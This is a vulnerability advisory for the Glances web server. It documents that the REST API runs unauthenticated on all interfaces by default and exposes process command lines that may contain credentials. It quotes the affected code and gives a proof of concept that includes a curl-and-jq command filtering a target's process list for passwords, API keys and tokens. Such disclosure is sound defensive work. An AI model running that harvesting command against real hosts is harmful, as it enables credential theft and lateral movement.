### Summary Glances web server runs without authentication by default when started with `glances -w`, exposing REST API with sensitive system information including process command-lines containing credentials (passwords, API keys, tokens) to any network client. ### Details Root Cause: Authentication is optional and disabled by default. When no password is provided, the API router initializes without authentication dependency, and the server binds to 0.0.0.0 exposing all endpoints. Affected Code: - File: `glances/outputs/glances_restful_api.py`, lines 259-272 ```python if self.args.password: self._password = GlancesPassword(username=args.username, config=config) if JWT_AVAILABLE: jwt_secret = config.get_value('outputs', 'jwt_secret_key', default=None) jwt_expire = config.get_int_value('outputs', 'jwt_expire_minutes', default=60) self._jwt_handler = JWTHandler(secret_key=jwt_secret, expire_minutes=jwt_expire) logger.info(f"JWT authentication enabled (token expiration: {jwt_expire} minutes)") else: self._jwt_handler = None logger.info("JWT authentication not available (python-jose not installed)") else: self._password = None # NO AUTHENTICATION BY DEFAULT self._jwt_handler = None ``` - File: `glances/outputs/glances_restful_api.py`, lines 477-480 ```python if self.args.password: router = APIRouter(prefix=self.url_prefix, dependencies=[Depends(self.authentication)]) else: router = APIRouter(prefix=self.url_prefix) # NO AUTH DEPENDENCY ``` - File: `glances/outputs/glances_restful_api.py`, lines 98-99 ```python self.bind_address = args.bind_address or "0.0.0.0" # BINDS TO ALL INTERFACES self.port = args.port or 61208 ``` - File: `glances/plugins/processlist/__init__.py`, lines 127-140 ```python enable_stats = [ 'cpu_percent', 'memory_percent', 'memory_info', 'pid', 'username', 'cpu_times', 'num_threads', 'nice', 'status', 'io_counters', 'cpu_num', 'cmdline', # FULL COMMAND LINE EXPOSED, NO SANITIZATION ] ``` ### PoC 1. Start Glances in default web server mode: ```bash glances -w # Output: Glances Web User Interface started on http://0.0.0.0:61208/ ``` 2. Access API without authentication from any network client: ```bash curl -s http://TARGET:61208/api/4/system | jq . ``` <img width="593" height="265" alt="image" src="https://github.com/user-attachments/assets/4ec461be-b480-46d5-88e2-f4004f4dae54" /> 3.

Harvest credentials from process list: ```bash curl -s http://TARGET:61208/api/4/processlist | \ jq -r '.[] | select(.cmdline | tostring | test("password|api-key|token|secret"; "i")) | {pid, username, process: .name, cmdline}' ``` 5. Example credential exposure: ```json { "pid": 4059, "username": "root", "process": "python3", "cmdline": [ "python3", "-c", "import time; time.sleep(3600)", "--api-key=sk-super-secret-token-12345", "--password=MySecretPassword123", "--db-pass=admin123" ] } ``` ### Impact Complete system reconnaissance and credential harvesting from any network client. Exposed endpoints include system info, process lists with full command-line arguments (containing passwords/API keys/tokens), network connections, filesystems, and Docker containers. Enables lateral movement and targeted attacks using stolen credentials.

A high vulnerability in a dependency can be pulled into a project through a normal install or update without a human reviewing the change, expanding the blast radius from a single package to every agent workspace that depends on it.
